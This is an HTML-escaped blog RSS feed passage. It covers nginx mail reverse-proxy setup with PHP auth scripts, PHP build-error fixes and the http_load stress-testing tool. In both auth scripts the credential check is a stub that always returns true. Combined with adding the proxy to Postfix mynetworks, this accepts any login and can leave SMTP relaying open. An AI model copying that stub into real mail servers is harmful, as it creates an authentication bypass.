class=&quot;comment&quot;&gt;//&amp;nbsp;for&amp;nbsp;example,&amp;nbsp;we&amp;nbsp;will&amp;nbsp;just&amp;nbsp;return&amp;nbsp;true; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&lt;span&gt;&amp;nbsp;true; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&lt;span&gt;&amp;nbsp;getmailserver(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$user&lt;/span&gt;&lt;span&gt;){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;put&amp;nbsp;the&amp;nbsp;logic&amp;nbsp;here&amp;nbsp;to&amp;nbsp;get&amp;nbsp;the&amp;nbsp;mailserver &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;backend&amp;nbsp;for&amp;nbsp;the&amp;nbsp;user.&amp;nbsp;You&amp;nbsp;can&amp;nbsp;get&amp;nbsp;this&amp;nbsp;from &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;some&amp;nbsp;database&amp;nbsp;or&amp;nbsp;ldap&amp;nbsp;etc &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;dummy&amp;nbsp;logic,&amp;nbsp;all&amp;nbsp;users&amp;nbsp;that&amp;nbsp;start&amp;nbsp;with&amp;nbsp;a,c,f&amp;nbsp;and&amp;nbsp;g&amp;nbsp;get&amp;nbsp;mailhost01 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;the&amp;nbsp;others&amp;nbsp;get&amp;nbsp;mailhost02 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;in_array(&lt;/span&gt;&lt;span class=&quot;func&quot;&gt;substr&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$user&lt;/span&gt;&lt;span&gt;,0,1),&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;c&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;f&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;g&amp;quot;&lt;/span&gt;&lt;span&gt;)){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;mailhost01&amp;quot;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;mailhost02&amp;quot;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&lt;span&gt;&amp;nbsp;fail(){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;header(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Auth-Status:&amp;nbsp;Invalid&amp;nbsp;login&amp;nbsp;or&amp;nbsp;password&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;func&quot;&gt;exit&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&lt;span&gt;&amp;nbsp;pass(&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$server&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;vars&quot;&gt;$port&lt;/span&gt;&lt;span&gt;){ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;header(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Auth-Status:&amp;nbsp;OK&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;header(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Auth-Server:&amp;nbsp;$server&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;header(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Auth-Port:&amp;nbsp;$port&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;func&quot;&gt;exit&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;?&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;printfooter&quot;&gt;Retrieved from &amp;quot;&lt;a href=&quot;http://wiki.nginx.org/index.php?title=ImapAuthenticateWithApachePhpScript&amp;amp;oldid=178&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://wiki.nginx.org/index.php?title=ImapAuthenticateWithApachePhpScript&amp;amp;oldid=178&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&amp;quot;&lt;/div&gt;&lt;div class=&quot;printfooter&quot;&gt;&lt;b&gt;2、基于nginx的pop3/imap/smtp的反向代理解决方案&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;printfooter&quot;&gt;&lt;strong&gt;本文介绍基于nginx的邮局反向代理配置方案。nginx对来源于客户端的pop3/smtp/imap请求予以转发到后端postfix，后端邮件服务器采用postfix 2.8.0，已配置并正常运行。&lt;/strong&gt;&lt;/div&gt;&lt;div class=&quot;printfooter&quot;&gt;&lt;strong&gt;配置nginx.conf&lt;/strong&gt;：&lt;blockquote&gt;&lt;p&gt;#user nobody;&lt;br /&gt;worker_processes 1;&lt;br /&gt;error_log logs/error.log info;&lt;br /&gt;events {&lt;br /&gt;worker_connections 1024;&lt;br /&gt;}&lt;br /&gt;mail {&lt;br /&gt;auth_http 指定IP:80/auth.php;&lt;br /&gt;pop3_capabilities &amp;quot;TOP&amp;quot; &amp;quot;USER&amp;quot;;&lt;br /&gt;imap_capabilities &amp;quot;IMAP4rev1&amp;quot; &amp;quot;UIDPLUS&amp;quot;;&lt;br /&gt;&lt;br /&gt;server {&lt;br /&gt;listen 110;&lt;br /&gt;protocol pop3;&lt;br /&gt;proxy on;&lt;br /&gt;}&lt;br /&gt;server {&lt;br /&gt;listen 143;&lt;br /&gt;protocol imap;&lt;br /&gt;proxy on;&lt;br /&gt;}&lt;br /&gt;server {&lt;br /&gt;listen 25;&lt;br /&gt;protocol smtp;&lt;br /&gt;proxy on;&lt;br /&gt;smtp_auth login plain;&lt;br /&gt;xclient off;&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;说明：&lt;/strong&gt;&lt;br /&gt;1.安装nginx时禁掉了http（–without-http），因为我们的目标只是转发pop3/smtp/imap请求，故nginx.conf也是相当简单，只有mail模块。如果还需要代理80端口（例如webmail），可以自行编译对http的支持。&lt;/p&gt;&lt;p&gt;2.smtp的配置模块里必须加入xclient off，否则当nginx向后转发smtp请求时，postfix将报“lost connection after XCLIENT”，同时nginx报“550 5.7.0 Error: insufficient authorization”. nginx对smtp的代理，与pop3/imap是不同的，详细见后文。&lt;/p&gt;&lt;p&gt;3.指定IP是用于认证的，需要放认证脚本auth.php. 认证脚本的作用就是验证用户和密码，一般自定义，可以放在任意的服务器上。本方案中选择放在后端邮件服务器上，便于管理。&lt;/p&gt;&lt;p&gt;这里有一个问题，postfix本身已经集成了认证机制（本人采用的是cyrus sasl2+courier-authlib），为什么加了反向代理，认证过程就要移动到反向代理上呢？这样岂不是就变成非透明代理了吗？为什么不作纯碎的透明代理呢？&lt;br /&gt;根据测试，如果这个认证脚本不设验证，直接透传所有pop3/imap请求到后端，在后端邮件服务器还会进行一次认证，但是对于smtp请求，将不再认证，而直接按照转发规则进行转发（因为反向代理的ip加到了postfix的mynetworks中，见后文）。这两种不同的差异应该是跟协议有关。&lt;br /&gt;为了保持统一，在本文的方案中，auth.php集成了pop3/imap/smtp的三种认证。这样的功能架构类似于游戏服务器的，登录服务器和游戏服务器是分开的。&lt;/p&gt;&lt;p&gt;4.在邮件服务器postfix/etc/main.cf中，修改mynetworks值，加入本反向代理的ip，并重载postfix：postfix -s reload&lt;/p&gt;&lt;p&gt;关于xclient：xclient的作用，是将前端的服务器模拟作为一个邮件客户端，而向后端的postfix进行认证和执行发送，但是postfix还需要一个打patch才能完美支持xclient。&lt;br /&gt;关于此问题的讨论可以参见 &lt;a href=&quot;http://forum.nginx.org/read.php?2,173197,173246#msg-173246&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://forum.nginx.org/read.php?2,173197,173246#msg-173246&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;auth.php：&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;?php&lt;br /&gt;/**&lt;br /&gt;* @see xiabaibai.net&lt;br /&gt;*/&lt;br /&gt;if(!isset($_SERVER [&amp;quot;HTTP_AUTH_USER&amp;quot;] ) || ! isset($_SERVER [&amp;quot;HTTP_AUTH_PASS&amp;quot;] )) {&lt;br /&gt;fail(0);&lt;br /&gt;}&lt;br /&gt;$username = $_SERVER [&amp;quot;HTTP_AUTH_USER&amp;quot;];&lt;br /&gt;$userpass = $_SERVER [&amp;quot;HTTP_AUTH_PASS&amp;quot;];&lt;br /&gt;$protocol = $_SERVER [&amp;quot;HTTP_AUTH_PROTOCOL&amp;quot;];&lt;/p&gt;&lt;p&gt;$backend_port = 110;&lt;br /&gt;if($protocol == &amp;quot;imap&amp;quot;) {&lt;br /&gt;$backend_port = 143;&lt;br /&gt;} elseif ($protocol == &amp;quot;smtp&amp;quot;) {&lt;br /&gt;$backend_port = 25;&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;list($uid, $domain) = explode(&amp;quot;@&amp;quot;, $username);&lt;/p&gt;&lt;p&gt;$auth = authuser($username, $userpass);&lt;br /&gt;if(!$auth) fail (-2);&lt;/p&gt;&lt;p&gt;pass($_SERVER[&amp;quot;SERVER_ADDR&amp;quot;], $backend_port);&lt;/p&gt;&lt;p&gt;//自定义认证，sql查询或者api&lt;br /&gt;function authuser($user, $pass) {&lt;br /&gt;return true;&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;function fail($code) {&lt;br /&gt;switch($code){&lt;br /&gt;case 0: header(&amp;quot;Auth-Status: Parameter lost&amp;quot;); break;&lt;br /&gt;case -1: header(&amp;quot;Auth-Status: No Back-end Server&amp;quot;); break;&lt;br /&gt;case -2: header(&amp;quot;Auth-Status: Invalid login or password&amp;quot; ); break;&lt;br /&gt;}&lt;br /&gt;exit();&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;function pass($server, $port) {&lt;br /&gt;header(&amp;quot;Auth-Status: OK&amp;quot; );&lt;br /&gt;header(&amp;quot;Auth-Server: $server&amp;quot; );&lt;br /&gt;header(&amp;quot;Auth-Port: $port&amp;quot; );&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;</description>
		<guid>http://www.517sou.net/Article/Nginx-as-an-IMAP-SMTP-POP3-Reverse-Proxy.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/751/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/Nginx-as-an-IMAP-SMTP-POP3-Reverse-Proxy.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/751/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/PHP-compile-errors.aspx</link>
		<title>PHP编译错误及其解决方案</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Wed, 11 Jan 2012 07:48:36 GMT</pubDate>
		<description>&lt;p&gt;本专题主题收集PHP编译过程中的错误及其解决方案。&lt;br /&gt;1、编译php出错&lt;br /&gt;/php-5.3.2/ext/fileinfo/libmagic/apprentice.c:147:internal compiler error:Segmentation fault&lt;br /&gt;Please submit a full bug report,&lt;br /&gt;with preprocessed source if appropriate.&lt;br /&gt;See &amp;lt;&lt;a href=&quot;http://bugzilla.redhat.com/bugzilla&quot; target=&quot;_blank&quot;&gt;URL:http://bugzilla.redhat.com/bugzilla&lt;/a&gt;&amp;gt; for instructions.&lt;br /&gt;The bug is not reproducible,so it is likely a hardware or OS problem.&lt;br /&gt;make:*** [ext/fileinfo/libmagic/apprentice.lo] Error 1&lt;br /&gt;解决方法：内存大于1G即可，这是php5.3.2的一个bug&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;2、重新构造configure文件出错&lt;br /&gt;./buildconf --force&lt;br /&gt;Forcing buildconf&lt;br /&gt;buildconf:checking installation…&lt;br /&gt;buildconf:autoconf version 2.59 （ok）&lt;br /&gt;buildconf:Your version of autoconf likely contains buggy cache code.&lt;br /&gt;Running vcsclean for you.&lt;br /&gt;To avoid this,install autoconf-2.13.&lt;br /&gt;Can&apos;t figure out your VCS, not cleaning.&lt;br /&gt;解决方法：编译安装autoconf-2.13&lt;br /&gt;再将autoconf-2.13的auotconf文件至/usr/local/autoconf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;3、编译时缺少库&lt;br /&gt;configure: error: libXpm.（a|so） not found.&lt;br /&gt;解决方法：yum install libXpm-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;4、编译时缺少gmp.h文件&lt;br /&gt;configure: error: Unable to locate gmp.h&lt;br /&gt;解决方法：yum install gmp-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;5、Configure: error: xml2-config not found. Please check your libxml2 installation.&lt;br /&gt;解决方法：&lt;br /&gt;#yum install libxml2 libxml2-devel （For Redhat &amp;amp; Fedora）&lt;br /&gt;# aptitude install libxml2-dev&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; （For ubuntu）&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;6、Checking for pkg-config… /usr/bin/pkg-config&lt;br /&gt;configure: error: Cannot find OpenSSL’s &amp;lt;evp.h&amp;gt;&lt;br /&gt;解决方法：&lt;br /&gt;#yum install openssl openssl-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;7、Configure: error: Please reinstall the BZip2 distribution&lt;br /&gt;解决方法：&lt;br /&gt;# yum install bzip2 bzip2-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;8、Configure: error: Please reinstall the libcurl distribution -&lt;br /&gt;easy.h should be in &amp;lt;curl-dir&amp;gt;/include/curl/&lt;br /&gt;解决方法：&lt;br /&gt;# yum install curl curl-devel&amp;nbsp;&amp;nbsp; （For Redhat &amp;amp; Fedora）&lt;br /&gt;# install libcurl4-gnutls-dev&amp;nbsp;&amp;nbsp;&amp;nbsp; （For Ubuntu）&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;9、Configure: error: libjpeg.（also） not found.&lt;br /&gt;解决方法：&lt;br /&gt;# yum install libjpeg libjpeg-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;10、Configure: error: libpng.（also） not found.&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;解决方法：&lt;br /&gt;# yum install libpng libpng-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;11、Configure: error: freetype.h not found.&lt;br /&gt;解决方法：&lt;br /&gt;#yum install freetype-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;12、Configure: error: Unable to locate gmp.h&lt;br /&gt;解决方法：&lt;br /&gt;# yum install gmp-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;13、Configure: error: Cannot find MySQL header files under /usr.&lt;br /&gt;Note that the MySQL client library is not bundled anymore!&lt;br /&gt;解决方法：&lt;br /&gt;# yum install mysql-devel&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; （For Redhat &amp;amp; Fedora）&lt;br /&gt;# apt-get install libmysql++-dev&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; （For Ubuntu）&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;14、Configure: error: Please reinstall the ncurses distribution&lt;br /&gt;解决方法：&lt;br /&gt;# yum install ncurses ncurses-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;15、Checking for unixODBC support… configure: error: ODBC header file ‘/usr/include/sqlext.h’ not found!&lt;br /&gt;解决方法：&lt;br /&gt;# yum install unixODBC-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;16、Configure: error: Cannot find pspell&lt;br /&gt;解决方法：&lt;br /&gt;# yum install pspell-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;17、configure: error: mcrypt.h not found. Please reinstall libmcrypt.&lt;br /&gt;解决方法：&lt;br /&gt;# yum install libmcrypt libmcrypt-devel&amp;nbsp;&amp;nbsp;&amp;nbsp; （For Redhat &amp;amp; Fedora）&lt;br /&gt;# apt-get install libmcrypt-dev&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;18、Configure: error: snmp.h not found. Check your SNMP installation.&lt;br /&gt;解决方法：&lt;br /&gt;# yum install net-snmp net-snmp-devel&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;19、configure:error:Cannot find ldap.h&lt;br /&gt;解决方法：&lt;br /&gt;#yum install openldap-devel openldap&lt;br /&gt;&lt;/p&gt;&lt;p&gt;20、configure:error:xslt-config not found. Please reinstall the libxslt &amp;gt;= 1.1.0 distribution&lt;br /&gt;解决方法：&lt;br /&gt;#yum install libxslt libxslt-devel&lt;br /&gt;&lt;/p&gt;&lt;p&gt;21、checking for libevent &amp;gt;=1.4.11 install prefix… configure: error: Could not find libevent &amp;gt;=1.4.11 in /usr/local/php&lt;br /&gt;解决方法：&lt;br /&gt;安装libevent-1.4.11以上版本至/usr/local&lt;br /&gt;tar xzvf libevent-1.4.14-stable.tar.gz&lt;br /&gt;cd libevent-1.4.14-stable&lt;br /&gt;./configure --prefix=/usr/local&lt;br /&gt;make&amp;amp;&amp;amp;make install&lt;br /&gt;在编译。/configure时添加--with-libevent-dir=/usr/local即可&lt;br /&gt;&lt;/p&gt;&lt;p&gt;22、cc1: out of memory allocating 2036 bytes after a total of 81846272 bytes&lt;br /&gt;make: *** [ext/date/lib/parse_date.lo] Error 1&lt;br /&gt;报错：&lt;br /&gt;/usr/bin/ld: cannot find -lltdl&lt;br /&gt;collect2: ld returned 1 exit status&lt;br /&gt;make:*** [sapi/fpm/php-fpm] Error 1&lt;br /&gt;解决方法：&lt;br /&gt;安装ltdl&lt;br /&gt;#cd /libmcrypt-2.5.7/libltdl/&lt;br /&gt;#./configure --enable-ltdl-install&lt;br /&gt;#ldconfig&lt;br /&gt;#cd php-5.3.6&lt;br /&gt;#make ZEND_EXTRA_LIBS=&apos;-liconv&apos;&lt;/p&gt;&lt;p&gt;23、configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing.&lt;br /&gt;yum install libc-client-devel&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;24、libiconv相关的未定义引用&lt;/p&gt;&lt;p&gt;/libxmlrpc/encoding.c:101:undefined reference to &apos;libiconv_close&apos;&lt;br /&gt;collect2: ld returned 1 exit status&lt;br /&gt;make:*** [sapi/fpm/php-fpm] Error 1&lt;br /&gt;解决方法：&lt;br /&gt;#make ZEND_EXTRA_LIBS=&apos;-liconv&apos;&lt;/p&gt;&lt;p&gt;/usr/local/src/php-5.2.17/ext/iconv/iconv.c:2615: undefined reference to `libiconv&apos;&lt;br /&gt;/usr/local/src/php-5.2.17/ext/iconv/iconv.c:2537: undefined reference to `libiconv&apos;&lt;br /&gt;ext/iconv/.libs/iconv.o: In function `php_iconv_stream_filter_ctor&apos;:&lt;br /&gt;/usr/local/src/php-5.2.17/ext/iconv/iconv.c:2491: undefined reference to `libiconv_open&apos;&lt;br /&gt;collect2: ld returned 1 exit status&lt;br /&gt;make: *** [sapi/cli/php] Error 1&lt;/p&gt;&lt;p&gt;原因：可能是由于系统中手工编译了libiconv&lt;/p&gt;&lt;p&gt;解决办法：&lt;br /&gt;./configure ............&lt;br /&gt;vi Makefile&lt;br /&gt;找到下面这行：&lt;br /&gt;EXTRA_LIBS = -lcrypt ...在最后添加-liconv保存&lt;/p&gt;&lt;p&gt;make&lt;br /&gt;make instal&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/PHP-compile-errors.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/750/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/PHP-compile-errors.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/750/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/Web-server-performance-and-stress-testing-tools.aspx</link>
		<title>Web服务器性能/压力测试工具</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Fri, 09 Dec 2011 03:59:25 GMT</pubDate>
		<description>&lt;p&gt;&lt;strong&gt;一、http_load&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;程序非常小，解压后也不到100K&lt;/p&gt;&lt;p&gt;http_load以并行复用的方式运行，用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具，它可以以一个单一的进程运行，一般不会把客户机搞死。还可以测试HTTPS类的网站请求。&lt;/p&gt;&lt;p&gt;下载地址：&lt;a href=&quot;http://soft.vpser.net/test/http_load/http_load-12mar2006.tar.gz&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://soft.vpser.net/test/http_load/http_load-12mar2006.tar.gz&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;安装很简单&lt;br /&gt;#tar zxvf http_load-12mar2006.tar.gz&lt;br /&gt;#cd http_load-12mar2006&lt;br /&gt;#make &amp;amp;&amp;amp; make install&lt;/p&gt;&lt;p&gt;命令格式：http_load -p 并发访问进程数 -s 访问时间 需要访问的URL文件参数其实可以自由组合，参数之间的选择并没有什么限制。比如你写成http_load -parallel 5 -seconds&lt;/p&gt;&lt;p&gt;300 urls.txt也是可以的。我们把参数给大家简单说明一下。&lt;br /&gt;-parallel 简写-p ：含义是并发的用户进程数。&lt;br /&gt;-fetches 简写-f ：含义是总计的访问次数&lt;br /&gt;-rate 简写-p ：含义是每秒的访问频率&lt;br /&gt;-seconds简写-s ：含义是总计的访问时间&lt;/p&gt;&lt;p&gt;准备URL文件：urllist.txt，文件格式是每行一个URL，URL最好超过50－100个测试效果比较好.文件格式如下：&lt;br /&gt;&lt;a href=&quot;http://www.vpser.net/uncategorized/choose-vps.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net/uncategorized/choose-vps.html&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.vpser.net/vps-cp/hypervm-tutorial.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net/vps-cp/hypervm-tutorial.html&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.vpser.net/coupons/diavps-april-coupons.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net/coupons/diavps-april-coupons.html&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.vpser.net/security/vps-backup-web-mysql.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net/security/vps-backup-web-mysql.html&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;例如：&lt;/p&gt;&lt;p&gt;http_load -p 30 -s 60 urllist.txt&lt;br /&gt;参数了解了，我们来看运行一条命令来看看它的返回结果&lt;br /&gt;命令：% ./http_load -rate 5 -seconds 10 urls说明执行了一个持续时间10秒的测试，每秒的频率为5。&lt;/p&gt;&lt;p&gt;49 fetches, 2 max parallel, 289884 bytes, in 10.0148 seconds5916 mean bytes/connection4.89274&lt;/p&gt;&lt;p&gt;fetches/sec, 28945.5 bytes/secmsecs/connect: 28.8932 mean, 44.243 max, 24.488 minmsecs/first&lt;/p&gt;&lt;p&gt;-response: 63.5362 mean, 81.624 max, 57.803 minHTTP response codes: code 200 -- 49&lt;/p&gt;&lt;p&gt;结果分析：&lt;br /&gt;1．49 fetches, 2 max parallel, 289884 bytes, in 10.0148 seconds&lt;br /&gt;说明在上面的测试中运行了49个请求，最大的并发进程数是2，总计传输的数据是289884bytes，运行的时间是10.0148秒&lt;br /&gt;2．5916 mean bytes/connection说明每一连接平均传输的数据量289884/49=5916&lt;br /&gt;3．4.89274 fetches/sec, 28945.5 bytes/sec&lt;br /&gt;说明每秒的响应请求为4.89274，每秒传递的数据为28945.5 bytes/sec&lt;br /&gt;4．msecs/connect: 28.8932 mean, 44.243 max, 24.488 min说明每连接的平均响应时间是28.8932 